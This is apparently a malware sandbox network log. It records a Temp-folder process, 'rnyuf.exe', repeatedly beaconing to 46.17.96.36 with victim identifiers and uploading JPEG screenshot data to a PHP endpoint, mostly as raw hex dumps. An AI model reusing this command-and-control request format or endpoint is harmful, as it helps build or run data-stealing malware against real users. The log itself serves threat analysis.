Aug 29, 2021 22:27:58.392348051 CEST	11378	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:58.392604113 CEST	11381	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:58.428735971 CEST	11383	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:58.428956032 CEST	11394	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:58.428993940 CEST	11397	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:27:58.429251909 CEST	11419	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:27:58.537743092 CEST	11454	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.4	49881	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:58.540244102 CEST	11455	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:58.617230892 CEST	11455	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.4	49882	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:58.811075926 CEST	11456	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:58.887226105 CEST	11546	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.4	49883	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:58.811275005 CEST	11456	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:27:58.811393976 CEST	11456	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:58.811556101 CEST	11466	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:58.811641932 CEST	11469	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:58.844894886 CEST	11472	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:58.844979048 CEST	11482	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:58.845551968 CEST	11485	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:58.845582962 CEST	11489	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:27:58.845613003 CEST	11495	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:58.877465010 CEST	11500	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:58.877518892 CEST	11508	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:58.982319117 CEST	11568	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.4	49884	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:59.039788008 CEST	11569	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:59.122773886 CEST	11570	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:27:59.184695959 CEST	11570	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:27:59.184762001 CEST	11570	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:59.184943914 CEST	11580	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:59.185062885 CEST	11583	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:59.220469952 CEST	11593	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:59.220887899 CEST	11596	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:59.221451998 CEST	11599	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:59.221682072 CEST	11610	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:27:59.256138086 CEST	11623	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:27:59.256176949 CEST	11631	OUT	Data Raw: f4 30 5a ff 00 df 86 ff 00 1a ab 79 f0 27 55 b5 88 14 d6 ad a6 91 c9 58 d0 42 c3 73 05 2d 8c 93 c7 dd af 6f ff 00 84 93 42 ff 00 a0 d6 9d ff 00 81 49 fe 35 4f 50 d7 b4 a9 12 06 b6 d5 f4 b7 92 29 77 ed 7b d4 50 46 d6 5e bc fa fa 54 f3 57 ec fe e2 Data Ascii: 0Zy'UXBs-oBI5OP)w{PF^TWCl"xn"m9^C2,sV<ge8(O5[WvM5hZ(5hIadK7szY9Q h4s0Dhapi}P(
Aug 29, 2021 22:27:59.256308079 CEST	11636	OUT	Data Raw: 69 5a 00 c5 3b 14 98 a2 c3 b8 a2 97 14 0a 76 29 89 88 29 71 cd 18 a7 77 a6 48 80 53 80 cd 25 38 55 22 58 84 52 62 9e 45 25 0c 06 e2 96 97 14 b8 a6 02 01 4e 14 01 4b 40 98 52 1a 75 03 93 4c 40 a2 a4 51 4d a9 07 02 ad 22 1b 1a d4 ca 94 8e 2a 32 28 Data Ascii: iZ;v))qwHS%8U"XRbE%NK@RuL@QM"*2(` RB(R<V4Q@$QNHD)jKERJM6u cih)i)GZsKLAP(:)ANpLuE!1hP#c6z7s5Q}Ma
Aug 29, 2021 22:27:59.367923021 CEST	11681	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Powered-By: PHP/5.6.40

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.4	49885	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:59.288893938 CEST	11663	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:59.368249893 CEST	11682	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.4	49886	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:59.530545950 CEST	11683	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:59.613332987 CEST	11683	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.4	49887	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:59.629726887 CEST	11683	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:27:59.629888058 CEST	11684	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:59.630099058 CEST	11694	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:59.630208015 CEST	11696	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:59.664180040 CEST	11704	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:59.665435076 CEST	11716	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
